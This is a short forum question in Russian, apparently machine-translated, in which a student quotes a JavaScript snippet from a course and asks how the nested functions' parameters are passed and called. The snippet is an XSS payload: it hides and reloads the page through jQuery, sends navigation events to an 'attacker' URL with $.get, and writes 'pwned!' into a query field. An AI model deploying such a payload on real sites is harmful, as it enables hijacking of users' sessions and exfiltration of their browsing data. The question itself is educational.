Часть моего курса я дал следующий кодпередавая данные и HREF в качестве параметров функции в Javascript
function payload(attacker) {
function log(data) {
console.log($.param(data))
$.get(attacker, data);
}
function proxy(href) {
$("html").load(href, function(){
$("html").show();
log({event: "nav", uri: href});
$("#query").val("pwned!");
});
}
$("html").hide();
proxy("./");
}
В функции log
и proxy
, каким образом параметры под названием? В последующем коде вызывается только payload(attacker
, но я не вижу, как вызывается payload
, другие две функции.
Я вижу, что они также являются HTML-тегами, и это еще один тип параметров, который существует только в Javascripts?